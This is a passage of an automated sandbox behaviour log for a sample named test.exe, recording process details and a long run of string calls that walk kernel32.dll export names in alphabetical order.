# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: May 15 2019 18:28:42 # Log Creation Date: 01.06.2019 18:40:02.639 Process: id = "1" image_name = "test.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\test.exe" page_root = "0x4eac2000" os_pid = "0xa38" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\test.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xa3c [0035.912] lstrlenA (lpString="kernel32.dll") returned 12 [0035.913] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0035.913] lstrcpyA (in: lpString1=0x18f2f4, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0035.913] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0035.913] lstrcpyA (in: lpString1=0x18f2f4, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0035.913] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0035.913] lstrcpyA (in: lpString1=0x18f2f4, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0035.913] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0035.913] lstrcpyA (in: lpString1=0x18f2f4, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0035.913] lstrlenA (lpString="ADDATOMA") returned 8 [0035.913] lstrcpyA (in: lpString1=0x18f2f4, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0035.913] lstrlenA (lpString="ADDATOMW") returned 8 [0035.913] lstrcpyA (in: lpString1=0x18f2f4, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0035.913] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0035.913] lstrcpyA (in: lpString1=0x18f2f4, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0035.913] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0035.913] lstrcpyA (in: lpString1=0x18f2f4, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0035.913] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0035.913] lstrcpyA (in: lpString1=0x18f2f4, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0035.913] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0035.913] lstrcpyA (in: lpString1=0x18f2f4, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0035.913] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0035.913] lstrcpyA (in: lpString1=0x18f2f4, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0035.913] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0035.913] lstrcpyA (in: lpString1=0x18f2f4, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0035.913] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0035.913] lstrcpyA (in: lpString1=0x18f2f4, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0035.913] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0035.913] lstrcpyA (in: lpString1=0x18f2f4, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0035.913] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0035.913] lstrcpyA (in: lpString1=0x18f2f4, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0035.913] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0035.913] lstrcpyA (in: lpString1=0x18f2f4, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0035.913] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0035.913] lstrcpyA (in: lpString1=0x18f2f4, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0035.913] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0035.913] lstrcpyA (in: lpString1=0x18f2f4, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0035.913] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0035.913] lstrcpyA (in: lpString1=0x18f2f4, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0035.913] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0035.913] lstrcpyA (in: lpString1=0x18f2f4, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0035.913] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0035.914] lstrcpyA (in: lpString1=0x18f2f4, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0035.914] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0035.914] lstrcpyA (in: lpString1=0x18f2f4, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0035.914] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0035.914] lstrcpyA (in: lpString1=0x18f2f4, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0035.914] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0035.914] lstrcpyA (in: lpString1=0x18f2f4, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0035.914] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0035.914] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0035.914] lstrlenA (lpString="BACKUPREAD") returned 10 [0035.914] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0035.914] lstrlenA (lpString="BACKUPSEEK") returned 10 [0035.914] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0035.914] lstrlenA (lpString="BACKUPWRITE") returned 11 [0035.914] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0035.914] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0035.914] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0035.914] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0035.914] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0035.914] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0035.914] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0035.914] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0035.914] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0035.914] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0035.914] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0035.914] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0035.914] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0035.914] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0035.914] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0035.914] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0035.914] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0035.914] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0035.914] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0035.914] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0035.914] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0035.914] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0035.914] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0035.914] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0035.914] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0035.914] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0035.914] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0035.914] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0035.914] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0035.915] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0035.915] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0035.915] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0035.915] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0035.915] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0035.915] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0035.915] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0035.915] lstrcpyA (in: lpString1=0x18f2f4, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0035.915] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0035.915] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0035.915] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0035.915] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0035.915] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0035.915] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0035.915] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0035.915] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0035.915] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0035.915] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0035.915] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0035.915] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0035.915] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0035.915] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0035.915] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0035.915] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0035.915] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0035.915] lstrcpyA (in: lpString1=0x18f2f4, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0035.915] lstrlenA (lpString="BEEP") returned 4 [0035.915] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0035.915] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0035.915] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0035.915] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0035.915] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0035.915] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0035.915] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0035.915] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0035.915] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0035.915] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0035.915] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0035.915] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0035.915] lstrcpyA (in: lpString1=0x18f2f4, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0035.915] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0035.915] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0035.915] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0035.916] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0035.916] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0035.916] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0035.916] lstrlenA (lpString="CANCELIO") returned 8 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0035.916] lstrlenA (lpString="CANCELIOEX") returned 10 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0035.916] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0035.916] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0035.916] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0035.916] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0035.916] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0035.916] lstrlenA (lpString="CHECKELEVATION") returned 14 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0035.916] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0035.916] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0035.916] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0035.916] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0035.916] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0035.916] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0035.916] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0035.916] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0035.916] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0035.916] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0035.916] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0035.916] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0035.917] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0035.917] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0035.917] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0035.917] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0035.917] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0035.917] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0035.917] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0035.917] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0035.917] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0035.917] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0035.917] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0035.917] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0035.917] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0035.917] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0035.917] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0035.917] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0035.917] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0035.917] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0035.917] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0035.917] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0035.917] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0035.917] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0035.917] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0035.917] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0035.917] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0035.917] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0035.917] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0035.917] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0035.917] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0035.917] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0035.917] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0035.917] lstrcpyA (in: lpString1=0x18f2f4, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0035.917] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0035.917] lstrcpyA (in: lpString1=0x18f2f4, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0035.917] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0035.917] lstrcpyA (in: lpString1=0x18f2f4, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0035.917] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0035.917] lstrcpyA (in: lpString1=0x18f2f4, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0035.917] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0035.917] lstrcpyA (in: lpString1=0x18f2f4, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0035.917] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0035.917] lstrcpyA (in: lpString1=0x18f2f4, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0035.917] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0035.918] lstrcpyA (in: lpString1=0x18f2f4, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0035.918] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0035.918] lstrcpyA (in: lpString1=0x18f2f4, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0035.918] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0035.918] lstrcpyA (in: lpString1=0x18f2f4, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0035.918] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0035.918] lstrcpyA (in: lpString1=0x18f2f4, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0035.918] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0035.918] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0035.918] lstrlenA (lpString="COPYCONTEXT") returned 11 [0035.918] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0035.918] lstrlenA (lpString="COPYFILEA") returned 9 [0035.918] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0035.918] lstrlenA (lpString="COPYFILEEXA") returned 11 [0035.918] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0035.918] lstrlenA (lpString="COPYFILEEXW") returned 11 [0035.918] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0035.918] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0035.918] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0035.918] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0035.918] lstrcpyA (in: lpString1=0x18f2f4, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0035.918] lstrlenA 